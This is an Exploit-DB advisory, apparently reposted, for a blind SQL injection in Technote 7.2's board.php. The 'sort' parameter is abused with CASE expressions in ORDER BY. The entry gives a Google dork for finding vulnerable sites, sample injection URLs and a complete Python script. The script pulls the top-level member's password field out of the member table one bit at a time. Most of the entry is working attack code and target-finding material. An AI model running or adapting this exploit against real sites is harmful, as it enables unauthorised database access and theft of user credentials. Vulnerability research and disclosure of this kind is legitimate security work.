Technote 7.2 – Blind SQL Injection - 体验盒子

作者： BlueH4G

日期： 2011-06-11

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/17389/

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# Exploit Title: technote blind sql injection

# Google Dork: inurl:/technote7/board.php?board=

# Date: 2011.06.11

# Author: BlueH4G (http://blueh4g.org)

# Software Link:

http://www.technote.co.kr/php/technote1/board.php?board=consult&command=skin_insert&exe=insert_down_shop

# Version: technote7.2 > * && Mysql 3.x < *

# Tested on: Windows & Linux everything

============================================================================================================

vulnerability :

blind sql injection with order by option.

i could control align data with sort variable with <code>case</code>.

blueh4g.org/technote7/board.php?board=freeboard&sort=(case(select 1=1) when

true then no else uid end) asc#

-> sort by <code>no</code> column.

blueh4g.org/technote7/board.php?board=freeboard&sort=(case(select 1=2) when

true then no else uid end) asc#

-> sort by <code>uid</code> column.

============================================================================================================

exploit :

#!/usr/bin/python

#-*- coding: utf-8 -*-

# coded by BlueH4G _http://blueh4g.org_

import urllib,re

from time import sleep

def main() :

chk = re.compile("true_title")

url_begin="

http://t.blueh4g.org/technote7/board.php?board=freeboard&sort=(case%20("

url_end=")%20when%20true%20then%20no%20else%20uid%20end)%20asc%20limit%200,1%23"

result="result : "

for spos in range(1,14):

ch=0

for i in range(1,8) :

sleep(0.05)

query="select%20substr((select%20lpad(bin(ascii(substr(m_pass,"+str(spos)+",1))),7,0)%20from%20a_tn3_memberboard_list%20order%20by%20m_level%20desc%20limit%200,1),"+str(i)+",1)=1

data=urllib.urlopen(url_begin + query + url_end)

text=data.read()

if chk.search(text) :

ch += 2**(7-i)

result+=chr(ch)

print result

main()

============================================================================================================

--

## BlueH4G ##